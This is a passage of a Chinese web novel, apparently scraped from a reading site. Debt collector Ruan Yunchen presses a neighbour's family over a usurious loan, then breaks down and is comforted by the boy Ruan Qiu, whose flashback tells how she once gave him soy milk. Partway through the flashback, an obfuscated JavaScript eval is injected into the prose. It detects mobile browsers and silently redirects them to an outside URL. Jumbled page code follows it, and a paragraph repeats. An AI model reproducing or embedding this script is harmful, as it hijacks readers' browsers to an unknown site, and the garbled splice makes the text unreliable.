程一冉的背脊瞬间绷直了,像是被无形的手狠狠按住了一把。她的视线紧盯着阮云琛,嘴唇微微颤抖,发出一声几乎听不见的低语:“什么……三万……” “三万六千。”阮云琛的声音没有一丝起伏,平静得像是在报一组与她毫无关系的数字,“这是最新的数字。” “我……”程一冉的声音一下子哽住了,像是一把生锈的刀卡在了喉咙里,“我……我们家根本……” “如果没钱还,房本也可以抵押。”阮云琛打断了她,语调依旧平缓,眼神却终于抬了起来,直直地落在程一冉脸上。 程一冉像是被人打了一记闷拳,整个人僵住了,脚步微微往后退了一步。她的目光在阮云琛脸上停了一瞬,随后猛地转向客厅的角落,语无伦次地开口:“我、我得先找我妈……她……她下午就回来……” 程一冉的声音虚浮而散乱,像是在水面上飘荡的浮萍,无根无据。她的越说越轻,手指下意识地攥紧了身侧的衣角,脚步却慢慢朝角落的架子挪去。 阮云琛依旧坐在桌边,目光随着程一冉的动作缓缓移动。她的眼神平静而沉默,却透着一种让人无法忽视的存在感,像是一把悬在空中的刀,虽未出鞘,却让空气变得无比凝重。 程一冉的脚步一顿,像是察觉到了那目光的重量。她的喉结微微滚动了一下,抬眼瞥向角落的架子,眼底闪过一抹隐约的决绝。 就在她几乎触碰到小型录像机的瞬间,阮云琛缓缓站了起来。 “程一冉。” 那声音低而稳,没有一点起伏,却像是一块巨石落在寂静的水面上,激起无声的涟漪。 程一冉几乎是本能地猛地一跳,动作因过于急促显得有些失控。她的手胡乱地抓住了录像机,手指颤抖着去按开机键,却像是完全找不到方向,摸索了几次,依旧没能打开。 “别浪费力气了,”阮云琛的声音从身后传来,平静得令人发寒,“录到了也没用。” “你觉得,宋祈会让一个动嘴不动手的人留下什么把柄吗?”阮云琛缓步走近,目光落在她颤抖的手指上,“录到了也不过是一场空……你知道的。” 她的语调轻描淡写,却精准地戳中了程一冉心底最深的恐惧。那种被完全洞悉的感觉让程一冉的眼睛微微睁大,整个人仿佛被寒冷侵袭,颤抖得更厉害了。 程一冉咬紧牙关,努力让自己冷静下来,但脑海里的混乱却像是决堤的洪水,根本无从遏制。 她甚至不知道自己是在愤怒还是在害怕,所有情绪混杂在一起,化成一股巨大的压迫感,几乎让她窒息。 阮云琛走到她身边,动作缓慢却不容拒绝地伸出手,将她手里的录像机拿了过去。程一冉几乎没有反应,只是机械地松开手指,任由那台小型录像机被夺走。 “啪。” 阮云琛干脆利落地合上了录像机的屏幕,动作没有一点多余,像是完成了一件再普通不过的事。 程一冉的目光死死盯着那被合上的屏幕,眼底的光芒一点点暗了下去。她的肩膀轻轻耸动了一下,像是被彻底击溃的最后一道防线。 屋子里安静得可怕,只有她急促的呼吸声和录像机合上的脆响在空气里久久回荡。 阮云琛用指尖轻轻敲了敲录像机的侧面,眼神落在上面,像是在玩味,又像是在思索什么。 “你录的那两段,”她的声音不高不低,却像一把冷刀割开了沉寂的空气,“有没有人动手?” 程一冉怔了一瞬,随即猛地抬头,眼睛里涌起一股难以言说的情绪。她的喉咙动了动,却什么也没说出来。 阮云琛的目光扫了她一眼,没有催促,只是把手里的录像机转了个方向,像是漫不经心地观察着。那种沉静得近乎漫不经心的姿态让程一冉的情绪彻底失控。 “你……你到底想干什么!”程一冉的声音尖了起来,带着几乎控制不住的颤抖,“你就为了几张破欠条,就、就非得把人往死路上逼吗!” 她的胸膛急促地起伏着,怒火像是脱缰的野兽,一头撞进空气里,把仅存的冷静撕得粉碎。她的眼睛盯着阮云琛,目光里夹杂着愤怒、恐惧,还有一丝难以言喻的绝望。 阮云琛没有立刻回答。她站在那里,安静得像是一堵冷硬的墙,只用目光看着程一冉,没有急于反驳,也没有解释,像是在等待她自己把积压的情绪耗尽。 “我们是邻居!”程一冉的声音突然拔高了一截,像是在抓住最后一根稻草,“你、你非要这样吗?我妈没少帮你们家吧?你小时候上学那会儿,缺课本的时候,我妈不都是第一时间把我的给你们送去的?!” 阮云琛的眼神微微动了一下,却依旧沉默。 “你还记得吗?”程一冉的声音里带上了一丝几近恳求的颤抖,“你才一年级的时候,拿了我的书……你还在上面画了一个乌龟,说什么‘程姐姐的书借了得还,乌龟慢慢爬’……” 她的嗓音在这一瞬间低了下来,像是被什么东西压住了一样。那些久远的记忆突如其来地被拽了出来,掺杂着一点儿温情的碎片,轻飘飘地落在这压抑的空气里,却没能带来一丝缓解。 阮云琛的呼吸一滞。 她的眼睛微微垂下,刻意地避开了程一冉直射而来的视线。 那句“乌龟慢慢爬”在记忆里浮现出来,带着一些孩童天真的涂鸦笔触,还有万秀半开玩笑地念叨:“这孩子,连借书都这么认真。” 可这种记忆太不真实了,像是硬生生被扔进了一块早已干涸的土地里,徒劳地想要开出花来。 “……阮云琛!”程一冉的声音再次炸开,“你以前不是这样的!你……你怎么就成了现在这样?!” 她的情绪崩溃到了极点,声音尖锐得几乎要刺破空气。她攥着手指,像是想要抓住什么,却什么也没抓到。 程一冉的目光在阮云琛脸上停了一瞬,又迅速移开,像是看到了什么让她无法直视的东西。 阮云琛深吸了一口气,指尖无意识地在录像机上敲了一下,发出了一声轻响。那声轻响像是一根针,精准地戳破了空气里弥漫的喧闹。 “我说过了,如果没钱还,房本也可以抵押。或者......”阮云琛抬手晃了晃那银灰的手持摄像机,“这个小型录像机也可以。” “但是小型录像机只还得清一部分,”阮云琛补充道,“百分之五十八的利息,下个月,要么四万四,要么房本来抵。” 她的声音低而稳,却如同一记重锤,落在程一冉的耳朵里。 程一冉猛地后退了一步,脚下碰到椅子的木脚,发出一声尖锐的刮地声。 她像是被人重重击中了一记,整个人怔住了,随即迅速回神,眼神里涌动着复杂的情绪——震惊、难以置信,还有一点点彻底的寒意。 “阮云琛......”她喃喃到道,声音轻得像是从喉咙深处挤出来的,“你……真是疯了。” “你……你还是不是人?!” 她的话刚落音,门外传来一阵急促的脚步声。紧跟着,是一阵慌乱的钥匙捅进锁孔旋动的声音,而后,是程一冉的妈妈颤抖着的尖叫。 “冉冉!”万秀的声音像一道炸雷,直接把空气撕裂了。 门被猛地推开,风卷着凉意灌了进来,万秀提着一兜菜站在门口,气喘吁吁的模样显然是一路快步赶回来的。她站定的一瞬间,目光便扫过了屋内。 万秀的视线先是落在桌上的欠条,接着是阮云琛手里的小型录像机,最后才停在阮云琛的脸上。她愣了一秒,那张向来爱张罗的嘴没发出声音,却迅速地抿成了一条线。 空气像是凝滞了。 “你……”她开了口,语气里带着一股熟悉的尖刻,却迟迟没能说出下一句话。 屋内的光线很暗,阮云琛站在桌旁,手里握着录像机,侧脸隐在阴影里,整个人显得冷峻又难以接近。 那一刹那,万秀像是被什么重物砸了一下,脑海里闪过无数片段。 她想起自己和楼下的大妈坐在楼道口嗑着瓜子絮絮叨叨:“她啊,一个小女孩,哪儿来的钱给妹妹治病?我看,八成是……唉,不好说。” 她想起自己在走廊里对程一冉的训斥:“你别总跟她玩!人家是人家,咱们是咱们!别到时候学坏了!” 她也想起自己的那些猜测,曾经听来的,或者不自觉编造出来的故事,那些流言蜚语像毒蛇般盘绕着她的记忆,现在全都变成了清晰而刺目的事实:眼前的阮云琛,手里的小型录像机,桌上的欠条,连成了一条完整的线。 万秀像是被一盆冷水兜头浇下。她的脸色瞬间变了,急促的呼吸让她的肩膀一抖一抖的。 “你……你来做什么!”她突然开口,声音尖锐得像是被什么东西扯裂,带着一种藏不住的警觉和敌意。 她的话没有停下,只是越说越快,仿佛急于用语言的洪流把这一切冲散:“我早就说了......我早就说!你……你们阮家!你们阮家都不是什么正经人!整天在外面东跑西跑......你现在跑到我家来,你什么意思!你是不是……是不是来要钱的?!” 她的声音猛地拔高了一点,像是一根随时可能断裂的弦。她不再看阮云琛,而是转头盯向程一冉,眼神里带着几分被出卖的惊恐和难以置信。 程一冉愣在原地,嘴唇颤了颤,却一个字都没说出来。 万秀似乎意识到了什么,双手狠狠抓住兜里的菜往地上一放,整个人挡在女儿身前,动作僵硬而笨拙。 她张开双臂,仿佛是要用自己的身体挡住什么看不见的危险,姿态像是一只护崽的母鸡,却又透着几分惶恐的狼狈。 “我告诉你!”她几乎是喊出来的,声音尖锐中夹杂着颤抖,“我没有!没有钱!就算卖了这房子,也还不上你们那天杀的高利贷!” 她的语调骤然一沉,带着一种藏不住的愤怒和绝望,像是被逼到死角的小动物,强撑着虚张声势。 可她那僵硬的手臂,始终护在程一冉身前,没有松开半分。 阮云琛没有答话。 她只是看着她,一只手拿着录像机,一只手插在兜里,眼神沉得像一口深井,没有一点涟漪。 门外的动静吸引了走廊里的邻居,一个接一个探出头来,目光或明或暗地聚集在万秀家的门口。 有人只露了半张脸,藏在门缝后面看热闹;有人大大方方地站在门口,伸长脖子,像是在等一场好戏的高潮。 “哎呀,出什么事了?”远处一个戴着头巾的邻居站得远远的,却扬起声音问了一句,语气里带着一种毫不掩饰的兴味。 “还能有什么事,”另一个年轻女人低声回了一句,音量虽小,但足够所有人听清楚,“他们家的债主来了呗。听说啊,利滚利,这下可麻烦了。” 这句话像是一把轻飘飘的羽毛,却直接掀起了一阵窸窸窣窣的议论。更多的目光齐刷刷投了过来,有好奇的,有嘲讽的,也有冷淡的,仿佛这一切不过是与己无关的闹剧。 万秀的脸涨得通红,耳边的嗡嗡声让她几乎无法思考。她的手紧紧抓着程一冉的胳膊,颤抖得更加厉害,像是随时可能摔倒,却又死死撑着不肯松手。 “我告诉你......我告诉你!不管怎么样,别动我家孩子!”她终于扯着嗓子喊了一句,声音里混杂着愤怒和恐惧,像是一根即将断裂的弦。 她的喊声并没有引起太多反应。 邻居们或站或靠,有的低头假装摆弄鞋子,有的干脆扭过头,像是全然与自己无关。 有人轻轻笑了一声,不知道是在笑万秀的失态,还是在笑这场荒诞的闹剧。 程一冉的目光在她妈妈和阮云琛之间来回扫动,嘴唇动了动,却什么也没说出来。她的脸色苍白,眼睛里涌动着复杂的情绪——愤怒、羞耻,还有一丝深深的恐惧。 阮云琛低下头,把录像机收进了自己的宽大口袋里。她没有多说什么,只是轻轻把欠条折起来,放回了桌上。 “今天算我白跑一趟......小型录像机我拿走了。”她的声音平静得不像是刚才那个令人窒息的场景里的一部分,“下次,要么房本,要么钱,你们自己看着办。” 她转身朝门口走去,经过 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无论是躲在门缝里的,还是站在门外直勾勾盯着的,都是一样的冷漠和居高临下的审视。像是在看一只被扒光的动物——无助,暴露,无法抵挡。 阮云琛垂下眼,手指仅仅捏着口袋里的小型录像机,寒冷的金属触感透过薄薄的衣料传进掌心,带着刺骨的凉意。 那张折起来收回兜里的欠条铬得指腹生疼,边角被紧紧捏着,也不知是皱了、还是被蹿了碎。 楼道的尽头有扇窗没关,冬天的风灌了进来,夹着刺鼻的味道。有人在家门口烧炭取暖,炭火的烟气弥漫在空气里,混杂着老旧楼道特有的霉味和腐朽气息。 每一口呼吸都像吞进一把小刀,让她的喉咙干涩刺痛。 阮云琛的步伐没有停,她只觉得胸口的压力一点点加重,像一块巨石压在肺部,钝痛又沉闷。耳边的议论声若有若无地响起,每一句都像刀尖在她身后划过。 “她拿了人家什么?” “听说是来要债的,高利贷呢,哪个能好好过日子?” “啧,怪不得……淼淼那么多医药费,可不是光靠天掉馅饼就能撑起来的。” “别管她,咱自家安生就行,这种人离远点儿。” 这就是...... 这就是宋祈想要的吗? 这就是他想看到的结果吗? 阮云琛不知道。 她不想知道。 声音渐渐远了,但那些话像尖锐的钉子,一点点刻在心里,无法忽视。阮云琛的喉头发紧,攥着录像机的手微微用了些力,掌心的凉意刺入皮肤。 脚步在老楼的楼梯上回响,一声声地荡在狭窄的楼道里,像敲在骨头上的鼓点,钝而沉。阮云琛低垂着目光,死死盯着斑驳的台阶,机械地数着一层又一层的落差。 墙上脱落的墙皮裸露着灰色的水泥,湿冷的空气带着一股霉味,窜进她的鼻腔。 她的脚步没有停,却比刚才更快了一些,试图甩开那些目光和声音。 可每走一步,每一道门后都像有一张嘴在低声议论,把心压得越来越重。 风从楼道尽头的窗子吹进来,灌进脖子里,衣服贴在身上冷得像冰。 阮云琛想喘口气。 可每一口呼吸都被炭火的烟味堵住了喉咙,呛得她胸口发闷。 她佯装镇定地走到楼梯的拐角,想要扶住墙壁停一下,缓一下。 冰冷的墙面传递着粗糙的触感,像砂纸擦过掌心。阮云琛低下头,目光落在楼梯角的水渍里,那滩积水映出模糊的影子,边缘的污迹随着风微微颤动。 她盯着那影子看了一会儿,胃里突然一阵翻涌,像有什么东西从深处涌上来,烧灼着她的喉咙。 她弯下腰,干呕了一下,却什么也没吐出来。那种难以言喻的恶心感像一条冷蛇,蜿蜒在胃和胸腔之间,死死缠住了她。 阮云琛咬着牙站直了身子,脸色有些发白,指尖还搭在墙上,微微用力才能稳住自己。她深吸了一口气,却觉得肺里吸进来的全是灰尘和霉味,沉甸甸地压在胸口,让她每迈出一步都像是从泥沼里拔脚。 楼道里的风呼啸着刮过,衣摆被吹得轻轻扬起,贴在冰冷的墙上。 走廊尽头的昏黄灯光洒在地上,把她的影子拉得长长的,孤单得像被撕裂的黑暗。她攥紧了口袋里的录像机,掌心的凉意透过金属触感渗进骨髓。 她知道,这些目光和声音不仅仅是因为她是“收债人”,也是因为她是阮云琛。 邻里之间的偏见和敌意早已深种于此,只需要一点火星,就能烧成熊熊的燎原大火。而今天,她就是火中的那片枯草,被烧得干脆,却连一声响都发不出来。 阮云琛沿着老旧的墙角缓缓蹲了下去,背脊紧贴着那层脱落的墙皮,粗糙的表面磨得衣料微微发涩。 墙角的阴影里弥漫着潮湿的气息,她的视线低垂,落在脚边一滩浑浊的积水上,仿佛那是无底的深渊。 不远处,家门虚掩着,门缝里透出一线暖黄的光,细细地洒在冰冷的地砖上。她看得见那点光,却不敢往前再迈一步。 淼淼应该在屋里。或许正趴在桌前,低头看着那本厚厚的语文书;又或许正扭头看向门口,带着点孩子特有的期待,盯着她进门。 阮云琛闭了闭眼,喉头微微动了一下,像是咽下了一口无法排解的苦涩。 她不敢进去。 她不想让淼淼看到现在的自己。狼狈、不堪,像是从某个阴冷的深渊里被扯上来的破碎人影,连站起来的力气都在一点点被抽空。她更不想让淼淼知道,她刚从楼上回来,刚刚亲手拆散了程一冉的那点微薄的希望。 微光从门缝里偷跑出来,像是试探着接近她,却始终没有办法把她从这片阴影里拉回去。 她突然意识到,自己在躲避的,从来不是这一点光,而是屋里那个可能会抬起头来喊“姐姐”的孩子。 脚边的积水散发着一股腐败的霉味,空气潮湿得像是能从里到外将人侵蚀。她低头盯着那滩积水,脚尖踩进其中,浑浊的水面溅起一圈微弱的涟漪。 一阵轻风从走廊尽头的窗子灌进来,带着寒意拂过她的脸,却没能让她清醒多少。她的手指扣住身后的墙壁,指腹触及墙皮上微微湿滑的青藻,手心也被那股黏腻的触感填满了恶心。 她低垂的目光凝固在了某一点,积水倒映着楼梯的黑影,阴影间泛着一种死气沉沉的灰色。她的呼吸变得急促,每一口气都像灌满了腐朽的味道,压得胸口发闷。 她突然觉得自己和这墙角的阴湿没有什么分别。发臭、发霉,被遗弃在无人理睬的角落,甚至连偶尔的光也照不进来。 阮云琛闭了闭眼,低头把脸埋进了掌心,手指微微颤抖着扣住自己的额头,像是试图把涌上来的情绪压回去。 但那种嫌恶却根本止不住地漫上来,一点点吞噬着她的理智,像是一股无声的溺水,将她拉向更深的黑暗。 忽地,有双温暖的手贴在了她的额头。 55. 眼泪 阮云琛猛地一僵,几乎是本能地抬起头。 那双温热的手随着她的动作微微收回,却并没有完全离开,而是停在了她的侧脸边缘。那触感近在咫尺,像是落在皮肤上的一片羽毛,轻得让她的神经一寸寸绷紧,又一寸寸瓦解。 她的视线模糊了一瞬,等到逐渐对上那双眼睛时,心里某处绷得太紧的弦忽然一松,像是被一只无形的手轻轻拨动,发出了一声哑而短促的响。 ……是他。 是男孩。 是...... 是阮秋。 阮云琛眨了眨眼,眼角的湿意被风一吹,凉得刺人。她甚至来不及感受那种微妙的放松,脑海里的喧闹便像潮水一样涌上来,将她拉回到现实。 阮秋的手还停在半空,指尖微微弯曲,像是准备触碰,又像是在犹豫。 他的眉头轻轻蹙着,眼神里藏着一丝不易察觉的担忧。他没有立刻开口,而是稍稍后退了一点,像是在给她留出喘息的空间。 “你……回来了。”他的声音很轻,带着一点不确定的试探。 那句没头没尾的问话像是被挤出来的一样,显得突兀而多余,但也掺杂着一丝小心翼翼的安抚。 他明明看到了那几滴狼狈滴下的眼泪,明明想问到底发生了什么,可话到嘴边,却还是硬生生地拐了个弯。 阮云琛没有回答,只是怔怔地看着他。她的呼吸莫名变得沉重,眼神却不自觉地飘开了,像是害怕自己被看穿。 额头上残存的温热让她几乎本能地想往后退,但指尖扣住墙皮的力气早已被抽空,连抬起手臂的力气都没有了。 “……你发烧了吗?”阮秋又开口了,但语气比刚才更低,像是在和自己说话。 他抬手的动作犹豫了一瞬,然后缓缓向前。 那是一个极小的幅度,仿佛在试探着对方的底线,又像是怕自己做错什么。他的手指落在她的额头上,轻得像是要将她的情绪一点一点捋顺。 阮云琛的瞳孔微微颤动了一下,下意识地想往后躲,却僵在了原地。 阮秋稍稍犹豫了一下,手指轻轻探了过去。动作很慢,像是在给她时间拒绝,又像是在小心翼翼地捧起一片易碎的玻璃。 他的指尖从她的额头滑下,停在了脸颊边,触及到一片微凉的湿意。 那是......眼泪。 阮秋的动作顿住了。 他的眉头皱得更深,像是在犹豫着要不要继续。他的手稍稍停顿了一下,最终还是轻轻擦掉了她眼角的泪。 阮云琛愣住了,眼泪还挂在眼角,冷风一吹,刺得发疼。 崩溃、狼狈、痛苦。 这一切像是被更大的震撼覆盖住,瞬间失了颜色。阮云琛僵在原地,那种迟迟无法回神的恍惚感仿佛要将她淹没。 她没有动,甚至连呼吸都像是被掐住了一样,整个胸腔在这一刻空荡荡的,什么都抓不住。 她从来没有想过。 从来没有想过,会有这样一双手,带着沉默的温暖,抚平她混乱的边缘。没有想过,会有人在她最不堪、最狼狈的时刻站在这里,试图理解她。更没有想过——会有人为她擦掉眼泪。 她一直以为,眼泪是她最后的秘密。 父亲酗酒时的咒骂和挥拳,母亲咳嗽得喘不上气的模样,还有那个永远不肯安分的酒杯砸过来的声音,这些画面时常在她脑海里一遍遍回放。 她知道痛苦是什么,她早就学会咬着牙忍,忍到那些伤疤结痂,也从不让它们流出血来。 淼淼哭的时候,她从不哭。 因为她知道,如果她也哭了,那些落在她和母亲身上的拳头就会落在淼淼的小身板上。她不怕被揍,也不怕疼——她只是不能让淼淼疼。 阮启明倒在血泊里时,她站在那里,脚底发冷,手心发热,浑身被刺骨的寒意和汹涌的热浪交替着吞噬。 她没有哭。 她只是一点一点地把那把刀放下,像放下一块烫手的炭,然后慢慢把自己从那一刻剥离出去。 后来,她梦到过无数次那个瞬间,每一次都会惊醒,手心湿热,满是粘腻的错觉,仿佛血一直留在她的指缝间,从未干透。 在福利院时,她试过向人靠近,试过不被孤立,可那些尝试都像是水滴砸在铁板上,毫无意义。 攒下的钱被抢走,稍有出头的举动都会被无视,甚至被群起攻之。 她沉默着,看着那些恶意和冷漠一层层加诸在她身上,慢慢将她逼到崩溃边缘。 后来,她走出福利院,跟着宋祈做工,迎接那些债主的面孔——害怕的、愤怒的、绝望的……她学会了隐忍,也学会了伪装。 她挨过打,也还过手,所有的一切都压在她肩上,像是告诉她:阮云琛,你的命天生就带着赎罪。 阮云琛早已习惯被孤立,早已不指望有人会站在她身边,更别提什么陪伴和温暖。 她甚至不确定,如果淼淼知道她每天在外面做的这些事,是否还会像小时候一样拉着她的手,骄傲地说:“我的姐姐是超级英雄。” 可她的姐姐不是。 阮云琛知道她不是。 她甚至不能确定,如果淼淼知道她每天在做什么,知道她究竟是个什么样的人之后...... 还会不会对她露出那般天真的微笑。 胸口像是被什么重重砸了一下,窒息的痛感一波波涌上来,但奇怪的是,那个触碰的瞬间,却像是往无边的苦海里投进了一盏灯,微弱,却将一片阴影照亮。 她低下头,手指扣紧冰冷的地面,潮湿的积水顺着指缝渗进来,像是要把她扯回到泥沼深处。可那双手的温度还在,微凉,却足够让她短暂地停下来。 阮秋安静地坐在旁边,没有开口。他只是靠着墙,像是一道屏障,把所有的风声和寒意都挡在外头。 她忍不住侧过头,看着他微微低垂的侧脸,那种沉默的安定让她的胸腔突然像是裂开了一道缝。 她从来没有想过,有人会在这种时候,陪着她——哪怕什么都不说。 喉咙里像是被什么堵住了,呼吸也在那一刻滞住了。 心里的某个角落,长久以来被压得死死的地方,像是被突然掀开了一条缝隙,透进来一点亮光。 那光明明很微弱,却刺得她连悲伤都忘了,只剩下茫然地注视着眼前的少年。 阮云琛努力地想要让自己看清眼前的一切,目光却止不住地失去了焦点。那就像是没办法从恍惚里脱身,眼前的画面逐渐被抽成了一幅虚化的影像。 阮秋的脸线条柔和却带着少年特有的稚气,眉头微微蹙着,神情专注得让她无所适从。他的手还停在半空,像是怕再碰触她多一点会让这片压抑的氛围重新炸开。 时间仿佛被拉得很长,她甚至能听到楼道里风吹过的声音,夹杂着门板轻轻作响的吱呀声。 周围的一切声音和画面都被放得很大,清晰得不真实,而她整个人却像是漂浮在一片无重力的空间里,无法掌握自己的一点存在感。 男孩的手停在半空中,像是察觉到自己的动作可能越界了什么。他的目光触碰到阮云琛那双失焦的眼睛,眼神里闪过一丝不易察觉的瑟缩。 “对不起,”他低声说,声音压得很轻,像是在道歉,又像是怕惊扰她。 他的缓缓地缩了回去,像是被火焰烫到,却又小心翼翼地不愿伤及对方。 阮秋的动作很慢,慢到阮云琛觉得时间似乎在那一瞬间停滞了。 空气中残留着他掌心的温度,却像风一样在她的肌肤上迅速消散。 楼道里的静默被无形放大,偶尔传来一两声远处的脚步,还有门被轻轻带上的声音。 阮云琛听见了这些细碎的动静,却像是被困在一片无声的深海中,所有的声音都被隔绝在一层模糊的水雾之外。 “对不起。”那句微弱的道歉在脑海里回荡,似乎刻意压低,却带着某种无以言喻的重量,像是打破牢笼的第一声。 阮云琛依然僵坐着,视线空洞,仿佛那轻飘飘的两个字让她彻底陷入了某种未知的停滞。 她的身体做不出任何反应,连手指都像是失去了知觉,只剩下心底那种难以言喻的恍惚。 口袋里的小录像机沉甸甸的,坠得外套都长短不一了起来。另一边的欠条可能已经皱得不成了样子,但阮云琛管不了那么多。 她的脑海里依旧是一片空白,只有那句“对不起”在她的耳边来回回荡,像是要冲破牢笼,阮云琛却不知道那“牢笼”究竟是什么。 她从未听过有人对她说“对不起”。 至少,不是这种意味深长的、像是要触碰某种禁区的“对不起”。 阮秋抿了抿嘴角,安静地靠在墙边,慢慢挪到她的身侧坐下。 他的动作小得几乎不发出声音,像是在刻意降低自己的存在感,又像是某种无声的守护。他垂下眼睛,侧脸隐没在昏暗的光影中,手指轻轻蜷在膝盖上,安静得像一堵墙。 一堵无声的墙,挡住了楼道尽头透来的冷风,也挡住了那些可能还在窥探的目光。 可是......为什么呢? 为什么他会说“对不起”呢? 为什么他会擦掉自己的眼泪呢? 为什么他要从房门里出来呢? 为什么...... 为什么他总是好像在那条没有尽头的路上......等着自己呢? 现在是,早上是,昨天是......之前在那地下全场后——甚至在淼淼生病的当晚、在她被那债主的刀割伤了肩头时,也是如此。 他总等在那里。 什么也不说,什么也不问,只是静静地等在那里,递上那些廉价的酒精和纱布。 “为什么......?”她忍不住问出了声。 可她却不敢看他。 她不知道为什么。 她不敢知道。 她的胸腔里有一种陌生的情绪在翻涌,但她甚至不知道那是什么——是慌乱,还是一种被看见的错觉? “因为你......给了我一袋豆浆。”阮秋说。 阮秋知道,自己这条命都是阮云琛给的。 那年的秋天,冷得像冬。 夜幕降临得很早,桥下的阴影越发浓重,像一只巨兽张开了吞噬一切的口。 他蜷缩在角落里,膝盖紧贴着瘦削的胸口,头埋在臂弯里,眼睛紧闭着,不敢睁开。 他不知道自己还能撑多久,也不知道再撑下去还有什么意义。他只觉得自己的身体冷得像块冰,胃像是被铁锤砸了一下又一下,空空的,闷闷的,透着麻木的疼。 他试图将自己缩得更紧一点,想把那些难以忍受的痛楚挤压出去,可所有的动作都是徒劳。 寒冷从地面蔓延到四肢,最后爬上心头,像一条看不见的锁链,将他牢牢困在原地。 挣扎的力气像水一样从指缝间滑走,连那微弱的渴望都被时间磨得发白,变成了不可触碰的空虚。 他的脑海里一片空荡,仿佛没有了过去,也没有了未来。睁开眼,闭上眼,都是一样的黑暗。 风刮过来,卷起地上的湿气,腥臭味刺进鼻腔,让人作呕。 他不是没努力过。 从那座山里逃出来时,他拼尽了所有力气;躲过村里的追捕,藏进货车,硬生生忍着饥饿和寒冷熬过了三天。每一次货车停下,他都屏住呼吸,生怕被人发现而被重新送回那个地方。 他以为自己可以活下去。 可现在,他躺在这里,眼皮沉重得像压着一块石头,连抬一抬的力气都没有了。喉咙干得发疼,胃里空得像是被挖走了整块,而四肢早已失去了知觉,只剩下冰冷的麻木。 他告诉自己别再挣扎了,余光间,有一条细细的乳白色液体顺着地势,从远处蜿蜒而来,混着地上的污水,在他面前划出一道浅浅的轨迹。 豆腥味随着热气一起扑进鼻腔,那是某种陌生却微妙的香气,烫得让人分不清是暖意还是刺痛。 他忍不住抬起头,目光从膝盖间抬起,穿过桥洞阴影。 他看见了一个女孩。 她背着一个更小的孩子,身形单薄得几乎被风吹得摇摇欲坠。 桥洞外的天色昏黄,晚霞像燃烧的余烬,洒在她瘦削的肩膀上,给那摇晃的背影镀上了一层淡淡的光。风从桥洞吹进来,带着晚秋特有的湿冷,刮过他的脸颊,像细小的刀子。 她的步伐很急,像是有什么在后头追赶,但每一步都沉得像在负重。 背上的孩子两只手紧紧环着她的脖子,嘴里叼着一根吸管,微微晃动的豆浆袋子滴出了几滴奶白色的液体,顺着她的脚步洒在地上。 豆浆滴滴答答的声音和一丝丝热气直往他的胸腔里钻,他能闻到那股淡淡的豆腥味,混着秋风里桥下积水的霉味,味道不算好闻,却隐隐带着一丝奇异的暖意。 可撩拨得他胸口发痒的,不是那气味,而是那背影。 那个女孩,背着一个孩子,踉跄却稳健,瘦削却不曾弯下脊背。那孩子的笑声轻轻传过来,细碎得像风吹过树梢,却带着某种几乎触不可及的温馨。 他无法移开目光。 不是因为饿,也不是因为渴,而是一种更深的、几乎本能的渴望。 他从来没有见过这样的画面——脏乱的桥洞里,一个瘦弱的背影撑起两个生命,那样不堪,却那样坚韧。 他的喉咙动了动,胃里隐隐作痛,可那痛意却被某种更复杂的情绪压了下去。那情绪像是从心底深处翻涌而出的潮水,裹挟着一丝丝几近绝望的希望,摇晃在他已经冰冷的胸腔里,像一簇风中的火苗,既脆弱,又执拗。 “姐姐,他在做什么呀?”那背上的孩子拉了拉女孩的头发,声音糯糯的,带着孩子特有的稚气。 “躲雨。” “他吃饭了吗?” “......大概吧。” 女孩没有看他。 她的目光始终直视前方,背影决然得像一棵风中的孤树,摇晃,却挺直。 雨早已停了,甚至连空气中潮湿的味道都开始散去。女孩说完这句话,没有再多看一眼,迈开步子往前走。 他看着那个背影渐行渐远,夕阳的余晖把她瘦削的轮廓拉得很长,像是一道微弱却坚定的线。他看着那袋豆浆在女孩的手中晃动,耳边回荡着小孩子吸管的声音,那些声音渐渐消失在远处。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15027060|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胸腔里的那点火苗像是被什么无声地浇灭了,徒留下一片灰烬。 他慢慢低下头,把脸埋进膝盖里,手指攥紧了泥泞的地面。他嘲笑自己刚才的荒唐。真是可笑,他竟然真的生出了一点期待,像个眼巴巴等着施舍的乞丐。 多么愚蠢,多么可笑。 他的喉结动了动,艰难地咽下一口唾沫,随即又垂下头,把脸埋进膝盖里,试图把那点渴望掐灭。 他几乎能听见自己心里冰冷的声音在一遍遍重复——没人会停下脚步,没人会为他做什么,他不值得,也不可能被看到。连他的爸妈...... 对,连他的爸妈都可以为了钱,把他卖给那面包车里的人贩子。 他从来就不是被拐卖的。 他是被自己的亲生父母抛弃的。 即便一次次向自己撒谎,即便一次次说服自己,说是自己在游乐场不小心跑丢了、上了不认识的阿姨的车——可那阿姨,就是他亲生母亲的妹妹啊。 即使想着逃走,即便真的逃了走......他也不敢回家。 不敢回到本来应该在的城市。 他以为自己可以活下去。 可现在,他躺在这里,眼皮沉重得像压着一块石头,连抬一抬的力气都没有了。喉咙干得发疼,胃里空得像是被挖走了整块,而四肢早已失去了知觉,只剩下冰冷的麻木。 风从桥洞外吹进来,夹着一股腐败的潮湿气息,像是从最深的黑暗里涌来的浊浪,将他牢牢裹住,压得他喘不过气。 他的耳边只剩下一片嗡嗡的轰鸣,那是血液流动的声音,急促又低沉,像是某种绝望的呓语,逐渐在他的意识中淡去。 他真的要死了吗? 他曾经拼尽了所有力气,咬牙坚持,告诉自己不能死在那个地方,不能被那群人抓回去,不能变成毫无意义的符号。可是现在,他发现自己早已没有了继续的理由。即使活下来,又能怎么样呢? 他闭上了眼睛,任由绝望一点一点将自己淹没。 没人会在乎他,也没人会…… “给你。” 声音低哑,突然从头顶传来,像是落进了他的骨子里。 他猛地抬起头。 那女孩的身影不知什么时候又折返了回来,逆着昏黄的光线站在他面前。她的脸笼在阴影里,看不清表情,只能看到一只微微颤抖的手,递过来那袋豆浆。 风从桥洞外灌进来,吹动她鬓角的发丝,露出一张苍白而倔强的脸。她的声音很低,像是压抑着什么情绪:“拿着。” 那袋豆浆透着微温,热气缭绕在她的指尖。 